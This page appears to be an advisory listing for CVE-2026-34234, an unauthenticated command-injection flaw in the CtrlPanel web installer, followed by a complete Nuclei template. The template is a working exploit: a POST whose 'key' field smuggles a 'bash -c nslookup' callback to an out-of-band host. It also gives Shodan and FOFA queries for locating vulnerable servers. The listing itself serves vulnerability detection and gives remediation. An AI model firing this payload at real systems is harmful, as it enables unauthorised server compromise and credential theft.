CVE-2026-34234: CtrlPanel <= 1.1.1 - Remote Code Execution

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.

PoC代码[已公开]

id: CVE-2026-34234

info:
  name: CtrlPanel <= 1.1.1 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.
  remediation: |
    Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.
  reference:
    - https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh
    - https://github.com/rootdirective-sec/CVE-2026-34234-Lab
    - https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34234
    epss-score: 0.00821
    epss-percentile: 0.55259
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: ctrlpanel-gg
    product: ctrlpanel
    shodan-query: title:"CtrlPanel" http.html:"ctrlpanel"
    fofa-query: title="CtrlPanel"
  tags: cve,cve2026,ctrlpanel,rce,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /installer/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'installation')"
        condition: and
        internal: true

  - raw:
      - |
        POST /installer/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022062684996718f3bc998b3101fcdb3d67af28823fbbbd191ab16cea8e6c38f1f90022100c01111af9acad47b384eaefc92017e02ab2f2e0cee9ecf7e48f4fb1a4f36d553:922c64590222798bb761d5b6d8e72950